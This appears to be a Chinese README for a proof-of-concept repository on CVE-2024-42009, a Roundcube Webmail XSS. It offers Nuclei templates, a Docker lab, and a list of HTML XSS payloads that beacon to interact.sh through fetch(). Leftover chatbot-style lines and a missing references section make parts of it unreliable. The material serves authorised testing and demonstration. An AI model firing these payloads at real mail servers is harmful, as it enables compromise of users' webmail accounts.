本仓库包含一个 Nuclei 模板 及配套资源,用于安全演示和验证 CVE-2024-42009,这是 Roundcube Webmail 中一个严重的反射型 XSS 漏洞。该漏洞存在于 show.php 的 message_body() 函数中,经过净化后的修改导致去净化,进而不安全地渲染精心构造的 HTML 邮件内容。
⚠️ 此 PoC 仅供 教育和授权测试 使用。请勿将其用于您不拥有或未经明确许可的系统。
show.php 中的 message_body() 函数本仓库使用 带外 (OOB) 检测机制,通过 Interactsh 在受控实验室环境中确认 JavaScript 执行。
<body> 标签(带有 onanimationstart 属性)和指向 Interactsh 的信标的精心构造邮件使用提供的 Docker Compose 文件快速搭建包含 MailHog(SMTP 接收器)和 MariaDB 的本地 Roundcube 实例。
git clone https://github.com/Shubhankargupta691/CVE-2024-42009.git
cd CVE-2024-42009
docker compose up -d
http://localhost:8080http://localhost:8025⚠️ 请勿使用您的 Google 账户。
CVE-2024-42009-OOB.yaml – 含 Interactsh 和带外 (OOB) 检测的 Nuclei 模板CVE-2024-42009.yaml – 不含 Interactsh 和 OOB 的 Nuclei 模板docker-compose.yml – Roundcube Webmail 的实验室环境配置Images/ – 显示来自 Interactsh 的 HTTP/DNS 命中的截图本视频展示了完整的攻击链:
(视频演示)
为了在 README 中负责任地包含这些 XSS payload,建议将其放在明确标注为 教育或测试目的 的章节中。以下是一个建议结构:
⚠️ 免责声明:这些 payload 仅用于教育目的和授权安全测试。请勿在未经明确许可的系统上部署。
<!-- 使用 onerror 的图片标签 -->
<img src="https://interact.sh/xss-test" onerror="fetch('https://interact.sh/hit')">
<!-- 使用 onerror 的损坏图片源 -->
<img src="https://raw.githubusercontent.com/shubhankargupta691/cve-2024-42009/main/x" onerror="fetch('https://interact.sh/hit')">
<!-- 使用 onload 的 SVG -->
<svg onload="fetch('https://interact.sh/hit')"></svg>
<!-- 脚本标签 -->
<script>fetch('https://interact.sh/hit')</script>
<!-- iframe src 中的 JavaScript -->
https://interact.sh/hit 替换为您自己的监听器端点。升级 Roundcube 至:
完美——以下是您可以包含在 README 或针对 CVE-2024-42009 的邮件提交中的干净、专业的 参考文献 部分。它引用了您列出的所有来源,格式清晰且可信: